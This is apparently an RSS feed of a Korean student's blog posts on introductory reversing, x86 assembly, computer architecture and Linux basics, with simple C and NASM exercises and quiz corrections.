- rdi = 1: stdout
- rdx = catlen : catlen에 저장된 값을 출력할 크기로 저장
- write 시스템 콜을 사용해서 cat에 담긴 모양 출력

&gt;
## 3 - 1000
### 두 수를 입력받고 더한 값을 출력하세요.
### C
&gt;&gt;</code></pre><p>#include &lt;stdio.h&gt;
int main(){
    int a,b;
    scanf(&quot;%d %d&quot;,&amp;a,&amp;b);
    &gt;&gt;
    printf(&quot;%d&quot;,a+b);
    &gt;&gt;
    return 0;
}</p>
<pre><code>&gt;
### asm
&gt;&gt;</code></pre><p>section .data
    in  db &quot;%d %d&quot;, 0
    out db &quot;%d&quot;, 10, 0</p>
<blockquote>
<blockquote>
</blockquote>
<p>section .bss
    x resd 1
    y resd 1</p>
<blockquote>
</blockquote>
<p>section .text
    extern input
    extern print
    global start</p>
<blockquote>
</blockquote>
<p>start:
    lea rsi, [x]
    lea rdx, [y]
    mov rdi, in
    xor eax, eax
    call input</p>
<blockquote>
</blockquote>
<pre><code>mov eax, [x]
add eax, [y]</code></pre><blockquote>
</blockquote>
<pre><code>mov esi, eax
mov rdi, out
xor eax, eax
call print</code></pre><blockquote>
</blockquote>
<pre><code>mov eax, 0
ret</code></pre></blockquote>
<pre><code>&gt;
### section .data
- in = scanf에 전달할 포맷 문자열
- out = printf에 전달할 포맷 문자열
### section .bss
- 각각 int(4바이트) 공간을 확보
### _start
- x+y 결과가 eax에 저장
- input는 scanf를 대신 호출하는 외부 함수
- print는 printf를 대신 호출하는 외부 함수
- main() 함수가 return 0; 과 같은 구조

&gt;
## 4 - 1001
### 두 수를 입력받고 뺀 값을 출력하세요.
### C
&gt;&gt;</code></pre><p>#include &lt;stdio.h&gt;
int main(){
    int a,b;
    scanf(&quot;%d %d&quot;,&amp;a,&amp;b);
    &gt;&gt;
    printf(&quot;%d&quot;,a-b);
    &gt;&gt;
    return 0;
}</p>
<pre><code>&gt;
### asm
&gt;&gt;</code></pre><p>section .data
    in  db &quot;%d %d&quot;, 0
    out db &quot;%d&quot;, 10, 0</p>
<blockquote>
<blockquote>
</blockquote>
<p>section .bss
    x resd 1
    y resd 1</p>
<blockquote>
</blockquote>
<p>section .text
    extern input
    extern print
    global start</p>
<blockquote>
</blockquote>
<p>start:
    lea rsi, [x]
    lea rdx, [y]
    mov rdi, in
    xor eax, eax
    call input</p>
<blockquote>
</blockquote>
<pre><code>mov eax, [x]
sub eax, [y]</code></pre><blockquote>
</blockquote>
<pre><code>mov esi, eax
mov rdi, out
xor eax, eax
call print</code></pre><blockquote>
</blockquote>
<pre><code>mov eax, 0
ret</code></pre></blockquote>
<pre><code>&gt;
### section .data
- in = scanf에 전달할 포맷 문자열
- out = printf에 전달할 포맷 문자열
### section .bss
- 각각 int(4바이트) 공간을 확보
### _start
- x-y 결과가 eax에 저장
- input는 scanf를 대신 호출하는 외부 함수
- print는 printf를 대신 호출하는 외부 함수
- main() 함수가 return 0; 과 같은 구조

&gt;
## 5 - 10998
### 두 수를 입력받고 곱한 값을 출력하세요.
### C
&gt;&gt;</code></pre><p>#include &lt;stdio.h&gt;
int main(){
    int a,b;
    scanf(&quot;%d %d&quot;,&amp;a,&amp;b);
    &gt;&gt;
    printf(&quot;%d&quot;,a-b);
    &gt;&gt;
    return 0;
}</p>
<pre><code>&gt;
### asm
&gt;&gt;</code></pre><p>section .data
    in  db &quot;%d %d&quot;, 0
    out db &quot;%d&quot;, 10, 0</p>
<blockquote>
<blockquote>
</blockquote>
<p>section .bss
    x resd 1
    y resd 1</p>
<blockquote>
</blockquote>
<p>section .text
    extern input
    extern print
    global start</p>
<blockquote>
</blockquote>
<p>start:
    lea rsi, [x]
    lea rdx, [y]
    mov rdi, in
    xor eax, eax
    call input</p>
<blockquote>
</blockquote>
<pre><code>mov eax, [x]
imul eax, [y]</code></pre><blockquote>
</blockquote>
<pre><code>mov esi, eax
mov rdi, out
xor eax, eax
call print</code></pre><blockquote>
</blockquote>
<pre><code>mov eax, 0
ret</code></pre></blockquote>
<pre><code>&gt;
### section .data
- in = scanf에 전달할 포맷 문자열
- out = printf에 전달할 포맷 문자열
### section .bss
- 각각 int(4바이트) 공간을 확보
### _start
- x*y 결과가 eax에 저장
- input는 scanf를 대신 호출하는 외부 함수
- print는 printf를 대신 호출하는 외부 함수
- main() 함수가 return 0; 과 같은 구조

&gt;
# 과제 2
![](https://velog.velcdn.com/images/shin_yy/post/894fd5ba-872f-48a3-ab91-b06e976bbf4c/image.png)</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 1차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-1%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-1%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Mon, 26 May 2025 08:00:30 GMT</pubDate>
            <description><![CDATA[<blockquote>
</blockquote>
<h1 id="리버싱">리버싱</h1>
<h2 id="리버싱이란">리버싱이란?</h2>
<h3 id="리버스-엔지니어링reverse-engineering">리버스 엔지니어링(Reverse Engineering)</h3>
<p>Reverse - 뒤집다
Engineering - 공학</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<ul>
<li><strong>역공학</strong>이라고 해석 가능</li>
<li>완성된 프로그램을 <strong>해체하고 분석</strong>하여 구조와 기능, 디자인을 <strong>파악하는 기술</strong>을 의미</li>
<li>리버싱은 각종 악성코드나 불법 프로그램에 <strong>대응</strong>을 위해 사용</li>
<li>구조, 기능, 동작 등을 역으로 추적하여 분석하고 원리를 이해하며 부족한 부분을 보완하며 새로운 기능 등을 추가하는 작업<blockquote>
</blockquote>
<h2 id="리버싱-방법">리버싱 방법</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
</li>
<li>정적 분석</li>
<li><em>파일의 겉모습을 관찰*</em>하여 <strong>분석</strong>하는 방법
파일을 열지 않고 파일 종류, 헤더, 디스어셈블리어, 디컴파일러로 분석
디스어셈블러를 이용해서 <strong>내부코드와 구조</strong>를 확인하는 방법<blockquote>
<blockquote>
</blockquote>
</blockquote>
</li>
<li>동적 분석</li>
<li><em>파일을 실행*</em>하며 코드 흐름과 메모리 상태 등으로 분석하는 방법
레지스트리, 네트워크 등을 관찰하면서 프로그램의 행위를 분석
디버거를 이용하여 프로그램 <strong>내부 구조와 동작 원리</strong>를 분석<blockquote>
</blockquote>
<h2 id="리버싱을-배우기-위해-필요한-지식">리버싱을 배우기 위해 필요한 지식</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
</li>
<li>컴퓨터 구조</li>
<li>ISA</li>
<li>Byte Ordering</li>
<li>Encoding/Decoding</li>
<li>운영 체제</li>
<li>메모리 구조, 컴파일, 인터프리터</li>
</ul>
<blockquote>
</blockquote>
<h1 id="어셈블리어-assembler">어셈블리어 (Assembler)</h1>
<h2 id="구조">구조</h2>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/89afd5f1-7e42-41b0-bbf3-36711e7053fa/image.jpg" alt=""></p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="sectiondata">section.data</h3>
<ul>
<li>데이터 영역</li>
<li>초기값이 있는 데이터를 저장 (문자열, 상수 등)<h3 id="sectionbss">section.bss</h3>
</li>
<li>비어 있는 데이터 영역</li>
<li>초기값 없이 공간만 필요한 변수를 저장 (입력 버퍼 등)<h3 id="sectiontext">section.text</h3>
</li>
<li>코드 영역</li>
<li>명령어가 들어가는 부분 (기계어로 번역될 명령어/코드)<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="sectiontext-1">section.text</h3>
<h3 id="global_start">global_start;</h3>
</li>
<li>링커에게 시작할 위치를 알려줌<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="_start">_start:</h3>
</li>
<li>실행할 명령어 작성</li>
<li>프로그램이 실행될 때 <strong>가장 먼저 실행</strong>되는 지점</li>
<li>C언어의 main() 함수와 비슷하지만, 운영체제가 <strong>직접 호출</strong>하는 주소</li>
</ul>
<blockquote>
</blockquote>
<h1 id="아키텍처-architecture">아키텍처 (Architecture)</h1>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="아키텍처란">아키텍처란?</h3>
<ul>
<li>CPU가 명령어를 처리하는 방식을 나타냄</li>
<li>하드웨어 시스템의 전반적인 구조와 동작을 나타냄<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="주요-아키텍처-비교">주요 아키텍처 비교</h3>
<pre><code>          x86            x86-64        ARM                ARM64
주소 크기    32bit        64bit        32bit            64bit
레지스터     EAX,EBX        RAX,RBX        R0~R15            X0~x30
엔디안        Little        Little        Little / Big    Little (일반적으로)</code></pre>x86-64는 x86 아키텍처와 호환되는 64bit 아키텍처</li>
<li>32 / 64bit 아키텍처 -&gt; 32 / 64bit는 CPU가 한 번에 처리 할 수 있는 데이터의 크기<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="word">WORD</h3>
</li>
<li>하나의 기계어 명령어, 연산을 통해 저장된 장치에서 컴퓨터 프로세서로 옮겨 놓을 수 있는 데이터 단위</li>
<li>WORD의 길이는 컴퓨터의 데이터 버스 크기와 같음</li>
<li>한번의 작업으로 저장장치에서 프로세서 레지스터로 데이터를 이동시킴<blockquote>
<blockquote>
</blockquote>
</blockquote>
</li>
<li><blockquote>
<p>CPU가 한 번에 처리할 수 있는 데이터의 크기</p>
</blockquote>
</li>
</ul>
<blockquote>
</blockquote>
<h1 id="x64-register">x64 Register</h1>
<h2 id="레지스터의-종류">레지스터의 종류</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="범용-레지스터">범용 레지스터</h2>
<h3 id="데이터-연산을-위해-사용되는-레지스터">데이터 연산을 위해 사용되는 레지스터</h3>
<ul>
<li>EAX 산술 연산 및 논리 연산 수행 + 함수의 반환값 저장</li>
<li>EBX 메모리 주소 저장</li>
<li>ECX 반복문 사용 시 카운터로 사용</li>
<li>EDX EAX와 같이 사용 + 큰 수의 곱셈과 나눗셈 연산</li>
<li>EDI 복사할 때 목적지 주소 저장</li>
<li>ESI 데이터를 조작하거나 복사할 때 데이터의 주소 저장</li>
<li>ESP 메모리 스택의 끝 지점 주소 포인터</li>
<li>EBP 메모리 스택의 첫 지점 주소 포인터</li>
<li>EIP 다음에 실행해야 할 명령어의 주소 포인터 <blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="세그먼트-레지스터">세그먼트 레지스터</h2>
<h3 id="아키텍처-메모리를-세그먼트-단위로-접근할-때-사용되는-특수한-레지스터">아키텍처 메모리를 세그먼트 단위로 접근할 때 사용되는 특수한 레지스터</h3>
</li>
<li>CS 기계 명령 포함 코드 세그먼트의 시작 주소를 가리킴</li>
<li>DS 프로그램에 정의된 데이터 영역의 시작 주소를 가리킴</li>
<li>SS 연산 결과 등을 임시로 저장 또는 삭제할 때 사용하는 스택 영역의 시작부분을 가리킴</li>
<li>ES 추가로 사용된 데이터 세그먼트의 주소를 가리킴</li>
<li>FS 여분 레지스터</li>
<li>GS 여분 레지스터<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="플래그-레지스터">플래그 레지스터</h2>
<h3 id="cpu가-연산을-수행한-후-결과의-상태를-저장하는-특수한-레지스터">CPU가 연산을 수행한 후 결과의 상태를 저장하는 특수한 레지스터</h3>
<h3 id="--조건문-등에-사용되어짐">-&gt; 조건문 등에 사용되어짐</h3>
ZF 연산결과가 0일 경우 참
CF 부호 없는 숫자의 연산 결과가 비트 범위를 넘으면 참
AF 연산 결과 하위 4 bit에서 비트 범위를 넘으면 참
OF 부호 있는 숫자의 연산 결과가 비트 범위를 넘으면 참
SF 연산 결과가 음수면 참
PF 연산 결과에서 1로 된 비트의 수가 짝수면 참
DF 문자열 조작에서 참이면 레지스터 값 감소, 거짓이면 증가
TF 디버깅에 사용<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="명령어-포인터-레지스터">명령어 포인터 레지스터</h2>
</li>
<li>프로그램이 기계어로 이루어져 있을 때, CPU가 실행시킬 코드를 가리킴</li>
<li>명령어 레지스터는 rip이며, 8byte의 크기를 지님</li>
</ul>
<blockquote>
</blockquote>
<h1 id="함수-호출-규약-calling-convention">함수 호출 규약 (Calling Convention)</h1>
<ul>
<li>함수 호출 시 호출자와 피호출자 간에 어떻게 데이터를 주고받을지에 대한 규칙</li>
<li>함수에 인자를 전달 방법 / 반환값 저장 위치 / 함수 호출 전후에 레지스터나 스택을 다룰 방법에 대해 정해 놓은 약속<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="x86-호출-규약">x86 호출 규약</h2>
</li>
<li>Cdecl
인자 전달은 오른쪽에서 왼쪽으로 전달하고 호출자
기본 C언어 규약, 여러 인자를 지원하며 인자 함수를 지원</li>
<li>Stdcall
인자 전달은 오른쪽에서 왼쪽으로 전달하고 피호출자
WinAPI에서 사용하고 함수가 끝나면 스택을 정리</li>
<li>Fastcall
앞의 2~3개 인자는 레지스터에 전달하고 나머지는 스택에 전달하고 피호출자이며 ECX, EDX를 사용하고 성능 향상이 목적이다.</li>
<li>Thiscall
this는 ECX에 전달하고 나머지는 스택에 전달하고 호출자
C++ 클래스 멤버 함수용으로 사용<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h2 id="x86-64-프롤로그와-에필로그">x86-64 프롤로그와 에필로그</h2>
</li>
<li>함수를 호출하면 컴파일러는 정확한 규칙을 따라 어셈블리 코드를 생성</li>
<li>프롤로그(Prologue)와 에필로그(Epilogue)<h3 id="프롤로그prologue">프롤로그(Prologue)</h3>
</li>
<li>push     rbp --- 이전 함수의 프레임 포인터 저장</li>
<li>mov      rbp, rsp --- 현재 스택 포인터를 기준 프레임 포인터로 설정</li>
<li>sub      rsp, N --- 지역 변수나 정렬 공간 확보 (N은 16의 배수)<h3 id="에필로그epilogue">에필로그(Epilogue)</h3>
</li>
<li>mov rsp, rbp --- 스택 포인터 복원</li>
<li>pop rbp ---  이전 프레임 포인터 복원</li>
<li>ret --- 호출자 주소로 복귀<blockquote>
</blockquote>
함수가 끝나면 호출한 쪽(Caller)으로 돌아가야 함</li>
</ul>
<blockquote>
</blockquote>
<h1 id="과제">과제</h1>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h1 id="hello-layer7-12번-출력">Hello Layer7 12번 출력</h1>
<pre><code>section .data
    msg db &#39;Hello Layer7&#39;, 10     ; &quot;Hello Layer7&quot; 문자열 저장
    len equ $ - msg

section .text
    global _start

_start:
    ; 1
    mov eax, 4        ; 시스템 호출 번호 4 : sys_write &lt;- write 함수
    mov ebx, 1      ; 파일 디스크립터 1 : 출력 (stdout)
    mov ecx, msg    ; 출력할 문자열의 주소를 ECX에 이동
    mov edx, len    ; 출력할 길이를 EDX에 이동
    int 0x80        ; 커널 인터럽트를 호출해서 write 실행
    ; 2
    int 0x80
    ; 3
    int 0x80
    ; 4
    int 0x80
    ; 5
    int 0x80
    ; 6
    int 0x80
    ; 7
    int 0x80
    ; 8
    int 0x80
    ; 9
    int 0x80
    ; 10
    int 0x80
    ; 11
    int 0x80
    ; 12
    int 0x80

    ; exit
    mov eax, 1        ; 시스템 호출 번호 1 : sys_exit
    xor ebx, ebx    ; ebx = 0 (exit 코드 0)
    int 0x80        ; 커널 인터럽트 호출 -&gt; 종료</code></pre><blockquote>
</blockquote>
<h3 id="section-data">section .data</h3>
<ul>
<li>msg : 출력할 문자열 &quot;Hello Layer7&quot;에 줄바꿈 문자(ASCII 10, 즉 \n)</li>
<li>len : 문자열의 길이를 계산.
$는 현재 주소, msg는 시작 주소 → $ - msg는 문자열 전체 길이<h3 id="section-text">section .text</h3>
</li>
<li>프로그램의 시작을 _start 라벨을 외부(운영체제)에서 사용할 수 있도록 지정</li>
<li>Linux 커널이 실행을 시작할 때 _start 레이블을 기준으로 실행<h3 id="_start-1">_start:</h3>
</li>
<li>문자열 한 줄을 출력</li>
<li>int 0x80만 반복되어 총 12번 호출되며, 같은 메시지를 반복 출력<h3 id="반복-구조">반복 구조</h3>
</li>
<li>eax, ebx, ecx, edx 값이 바뀌지 않음
따라서 int 0x80 반복 호출시 같은 메시지를 반복 출력</li>
<li>&quot;Hello Layer7&quot; 12번 출력</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[컴퓨터구조_오답노트]]></title>
            <link>https://velog.io/@shin_yy/%EC%BB%B4%ED%93%A8%ED%84%B0-%EA%B5%AC%EC%A1%B0</link>
            <guid>https://velog.io/@shin_yy/%EC%BB%B4%ED%93%A8%ED%84%B0-%EA%B5%AC%EC%A1%B0</guid>
            <pubDate>Thu, 15 May 2025 16:04:18 GMT</pubDate>
            <description><![CDATA[<blockquote>
</blockquote>
<h1 id="5번">5번</h1>
<h3 id="프로그램-실행-중run-time에-사용자-요청에-따라-크기가-결정되는-메모리-영역은">프로그램 실행 중(Run-Time)에 사용자 요청에 따라 크기가 결정되는 메모리 영역은?</h3>
<h3 id="1-코드-영역">1. 코드 영역</h3>
<blockquote>
<blockquote>
</blockquote>
<p>X
코드 영역은 실행할 코드가 저장되는 영역으로서
text 영역으로도 불리는 영역</p>
</blockquote>
<h3 id="2-bss">2. BSS</h3>
<blockquote>
<blockquote>
</blockquote>
<p>X
초기화되지 않은 전역 변수나 정적 변수들이 저장되는 메모리 영역
데이터 영역에 속함
BSS 외에 GVAR 영역 역시 데이터 영역에 속함</p>
</blockquote>
<h3 id="3-스택-영역">3. 스택 영역</h3>
<blockquote>
<blockquote>
</blockquote>
<p>X
프로그램이 자동으로 사용하는 임시 메모리 영역으로서
함수의 호출과 관계되는 지역변수와 매개변수가 저장되는 영역</p>
</blockquote>
<h3 id="4-힙-영역">4. 힙 영역</h3>
<blockquote>
<blockquote>
</blockquote>
<p>O
사용자가 직접 관리하는 영역으로서
사용자에 의해 메모리 공간이 동적으로 할당되거나 해제되는 영역</p>
</blockquote>
<h3 id="5-데이터-영역">5. 데이터 영역</h3>
<blockquote>
<blockquote>
</blockquote>
<p>X
프로그램의 전역변수, 정적변수, 문자열상수가 저장 되어지는 영역으로서
프로그램 시작과 동시에 할당, 종료시 소멸되는 영역</p>
</blockquote>
<blockquote>
</blockquote>
<h1 id="12번">12번</h1>
<h3 id="vim에-대한-설명으로-옳지-않은-것은">Vim에 대한 설명으로 옳지 않은 것은?</h3>
<ol>
<li>Vim은 텍스트 편집기로, 명령어 모드, 일반 모드, 입력 모드를 구분하여 사용한다.<blockquote>
<blockquote>
</blockquote>
<p>O
vim은 3가지 모드로 나뉘며,
명령어 모드, 일반 모드, 입력 모드가 존재함</p>
</blockquote>
</li>
<li>명령어 모드에서 &quot;wq&quot;를 입력하면 파일을 저장하고 Vim을 종료할 수 있다.<blockquote>
<blockquote>
</blockquote>
<p>O
&quot;:w&quot;는 저장
&quot;:q&quot;는 닫기 (저장 X)
&quot;:wq&quot;는 저장하고 종료함</p>
</blockquote>
</li>
<li>입력 모드에서는 텍스트를 자유롭게 입력할 수 있으며, 입력 모드로 들어가려면 &quot;i&quot;를 누른다.<blockquote>
<blockquote>
</blockquote>
<p>O
&quot;i&quot;는 insert로 해석할 수 있으며,
커서 앞에서 입력 모드로 전환하는 명령어</p>
</blockquote>
</li>
<li>일반 모드에서 :(콜론)을 눌러 명령어 모드로 전환할 수 있다.<blockquote>
<blockquote>
</blockquote>
<p>O
일반 모드에서 &quot;:&quot;을 눌러서 명령어 모드로 전환 한 후,
&quot;w&quot;, &quot;q&quot;, &quot;wq&quot; 같은 명령어들을 실행시킬 수 있음 </p>
</blockquote>
</li>
<li>Vim은 기본적으로 모든 변경 사항을 자동으로 저장한다.<blockquote>
<blockquote>
</blockquote>
<p>X
vim은 기본적으로 자동저장을 지원하지 않지만,
플러그인을 통해 자동저장을 활성화 시킬 수 있다고 함</p>
</blockquote>
</li>
</ol>
<blockquote>
</blockquote>
<h1 id="15번">15번</h1>
<h2 id="gcc-컴파일러-명령어의-사용-예시이다-이-중에서-형식이-올바르지-않은-명령어를-고르시오">gcc 컴파일러 명령어의 사용 예시이다. 이 중에서 형식이 올바르지 않은 명령어를 고르시오.</h2>
<blockquote>
</blockquote>
<h3 id="1-gcc--o-layer7-layer7c">1. gcc -o layer7 layer7.c</h3>
<p>layer7.c를 컴파일하여 layer7 실행 파일 생성</p>
<blockquote>
<blockquote>
</blockquote>
<p><strong>O</strong></p>
</blockquote>
<h3 id="2-gcc-layer7c--o-layer7">2. gcc layer7.c -o layer7</h3>
<p>layer7.c를 컴파일하여 layer7 실행 파일 생성</p>
<blockquote>
<blockquote>
</blockquote>
<p><strong>O</strong></p>
</blockquote>
<h3 id="3-gcc--c-layer7c">3. gcc -c layer7.c</h3>
<p>layer7.c를 오브젝트 파일로 생성</p>
<blockquote>
<blockquote>
</blockquote>
<p><strong>O</strong></p>
</blockquote>
<h3 id="4-gcc--run-layer7c">4. gcc -run layer7.c</h3>
<p>layer7.c를 실행 (하려는 의도 ..?)</p>
<blockquote>
<blockquote>
</blockquote>
<p><strong>X</strong>
-run 이라는 명령어는 존재하지 않음</p>
</blockquote>
<h3 id="5-gcc-layer7c">5. gcc layer7.c</h3>
<p>layer7.c를 컴파일하여 a.out 실행 파일 생성</p>
<blockquote>
<blockquote>
</blockquote>
<p><strong>O</strong></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[5/7 수업정리]]></title>
            <link>https://velog.io/@shin_yy/57-%EC%88%98%EC%97%85%EC%A0%95%EB%A6%AC</link>
            <guid>https://velog.io/@shin_yy/57-%EC%88%98%EC%97%85%EC%A0%95%EB%A6%AC</guid>
            <pubDate>Wed, 07 May 2025 08:27:53 GMT</pubDate>
            <description><![CDATA[<blockquote>
</blockquote>
<h1 id="컴퓨터-구조">컴퓨터 구조</h1>
<p>프로그램이 실제로 어떤 과정을 거쳐서 <strong>기계 수준에서 실행</strong>되는지를 다루는 분야</p>
<h2 id="컴퓨터-구조를-배우는-이유">컴퓨터 구조를 배우는 이유?</h2>
<p>컴퓨터 구조를 알아야 컴퓨터에 대한 <strong>이해</strong>와 <strong>기술적 지식</strong>을 습득 가능</p>
<blockquote>
<blockquote>
<p>리버스 엔지니어링과 포너블을 위해서는 <strong>컴퓨터 구조에 대한 이해</strong>가 필요</p>
</blockquote>
</blockquote>
<blockquote>
</blockquote>
<h1 id="isa-instruction-set-architecture">ISA (Instruction Set Architecture)</h1>
<p>CPU가 이해하고 실행할 수 있는 <strong>명령어 집합과 동작 방식</strong>을 정의한 규약</p>
<blockquote>
<blockquote>
<p>EX) ARM, x86, x86-64</p>
</blockquote>
</blockquote>
<h2 id="중앙처리장치-cpu">중앙처리장치 (CPU)</h2>
<blockquote>
<p>프로그램의 연산을 처리하고 시스템을 관리하는 두뇌 역활을 하는 장치</p>
<blockquote>
<ul>
<li>ALU, Register으로 구성</li>
</ul>
</blockquote>
</blockquote>
<h2 id="기억장치-memory">기억장치 (Memory)</h2>
<p>컴퓨터가 동작하는데 필요한 여러 데이터를 저장하는 장치
용도에 따라 주/보조기억장치로 분류</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<ul>
<li>주기억장치 - 필요한 데이터를 <strong>임시</strong>로 저장(RAM)</li>
<li>보조기억장치 - 프로그램, 운영체제 같은 데이터를 <strong>장기간</strong> 저장(HDD, SSD)</li>
</ul>
<blockquote>
</blockquote>
<h1 id="byte-ordering">Byte Ordering</h1>
<p>2byte 이상의 데이터는 메모리에 연속적으로 저장
이 때, 메모리의 정렬되는 방식</p>
<blockquote>
</blockquote>
<p><strong>Bit의 수가 아닌 Byte의 수를 고려</strong>한다는 점을 주의</p>
<blockquote>
<blockquote>
<p><strong>Bit의 순서는 동일, Byte의 순서만 변동</strong></p>
</blockquote>
</blockquote>
<h2 id="big-endian">Big-Endian</h2>
<p>큰 byte부터 메모리의 낮은 주소에 저장</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex">EX)</h3>
<p>0x0123
0x01 0x23</p>
<blockquote>
</blockquote>
<h2 id="little-endian">Little-Endian</h2>
<p>작은 byte부터 메모리의 낮은 주소에 저장</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<ul>
<li>x86, x86-64 CPU에서 사용<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex-1">EX)</h3>
0x0123
0x23 0x01</li>
</ul>
<blockquote>
</blockquote>
<h1 id="encoding-decoding">Encoding-Decoding</h1>
<h3 id="encoding---데이터를-특정한-형식으로-암호화">Encoding - 데이터를 특정한 형식으로 암호화</h3>
<h3 id="decoding---인코딩-데이터를-원래-값으로-복호화">Decoding - 인코딩 데이터를 원래 값으로 복호화</h3>
<blockquote>
<blockquote>
<p>Base64 인코딩 문제 풀이를 통한 실습</p>
</blockquote>
</blockquote>
<blockquote>
</blockquote>
<h1 id="운영체제-os">운영체제 (OS)</h1>
<blockquote>
<blockquote>
</blockquote>
<p>사용자가가 <strong>컴퓨터를 사용하기 위해 필요한 소프트웨어</strong>
컴퓨터를 사용하면서 실행한 프로그램들은 <strong>운영체제에서 관리&amp;제어</strong></p>
</blockquote>
<h2 id="하는-일">하는 일</h2>
<blockquote>
<blockquote>
</blockquote>
<p>CPU, 메모리 등 <strong>하드웨어 자원을 효율적으로 사용</strong>하도록 자원을 분배, 할당함</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
</blockquote>
<h3 id="ex-2">EX)</h3>
<p>CPU 스케줄링
메모리 공간을 분배 및 관리
정보를 주고 받는 과정 관리</p>
<blockquote>
</blockquote>
<h2 id="운영체제의-구조상-위치">운영체제의 구조상 위치</h2>
<h3 id="application--shell--kernel--hw">Application &gt; shell &gt; Kernel &gt; H/W</h3>
<p>shell과 Kernel을 연결해주는 OS</p>
<h2 id="운영체제-os---shell">운영체제 (OS) - Shell</h2>
<p>kernel과 상호작용할 수 있도록 해주는 명령어 해석기
-&gt; 사용자가 입력한 명령을 해석 / 시스템에 전달</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex-3">EX)</h3>
<p>bash
zsh
sh</p>
<blockquote>
</blockquote>
<h2 id="운영체제-os---kernel">운영체제 (OS) - kernel</h2>
<p>하드웨어와 소프트웨어 사이를 중재</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="kernel의-주요-역할">kernel의 주요 역할</h3>
<ul>
<li>프로세스 관리 -&gt; exec()</li>
<li>메모리 관리</li>
<li>파일 시스템 관리 -&gt; open(), read()</li>
<li>I/O 관리</li>
<li>System Call 제공<blockquote>
</blockquote>
<h2 id="운영체제-종류">운영체제 종류</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex-4">EX)</h3>
UNIX는 벨 연구소에서 개발한 운영체제, 현대 운영체제의 원형
Linux는 오픈소스 프로그램, UNIX를 계승하여 발전함, 다양한 환경에서 사용됨</li>
<li>그밖에 Windows, iOS 등 다른 운영체제들도 존재</li>
</ul>
<blockquote>
</blockquote>
<h1 id="cli--command-line-interface">CLI : Command Line Interface</h1>
<p>문자로 사용자와 컴퓨터가 상호작용하여 동작하는 인터페이스</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex-5">EX)</h3>
<p>Mac-Termenal 등</p>
<blockquote>
<h1 id="리눅스-기초-명령어">리눅스 기초 명령어</h1>
<blockquote>
</blockquote>
</blockquote>
<h1 id="과제">과제</h1>
<blockquote>
<h2 id="과제_설명">과제_설명</h2>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/225be9ec-67ad-4792-93b5-07f21f14a464/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/e1fe2da9-dc79-48ae-824b-20a2747e4c7e/image.png" alt=""></p>
<h2 id="과제_해결">과제_해결</h2>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/b0e8b3de-507d-4cd3-8561-e487d414125b/image.png" alt=""></p>
</blockquote>
<blockquote>
</blockquote>
<h2 id="해결과정">해결과정</h2>
<h3 id="사용-명령어-설명">사용 명령어 설명</h3>
<p>pwd            - 현재 작업 중인 디렉터리의 경로를 출력
ls            - 현재 디렉터리의 파일 목록을 출력
cat (파일명) -    (파일명) 파일의 내용을 화면의 출력</p>
<h3 id="풀이">풀이</h3>
<ol>
<li>touch 명령어를 사용하여 shiny.c 파일을 생성</li>
<li>vim shiny.c 를 이용하여 shiny.c 파일에 지정된 코드 타이핑 및 저장</li>
<li>pwd, ls, cat shiny.c 명령어를 순서대로 사용하여 지정된 사진처럼 출력</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[100제]]></title>
            <link>https://velog.io/@shin_yy/100%EC%A0%9C</link>
            <guid>https://velog.io/@shin_yy/100%EC%A0%9C</guid>
            <pubDate>Sun, 04 May 2025 14:53:22 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/shin_yy/post/e20b504f-7112-4fba-835e-7a4ceda3e98e/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/229642f8-f419-4131-9918-0d7dba8ac0d0/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/1a4bf7a8-84a5-480b-82c1-31b9dc9140f6/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/b8bb1e7f-d23e-43e6-82e1-5e36fc755431/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/ecfe26d9-946b-4374-9dd4-221bb46e715f/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/3ba67c8d-06a8-476a-80c2-6061b0d35511/image.png" alt=""></p>
<blockquote>
</blockquote>
<h2 id="1001--기초-출력-출력하기01설명">1001 : [기초-출력] 출력하기01(설명)</h2>
<h3 id="입력">입력</h3>
<p>입력 없음</p>
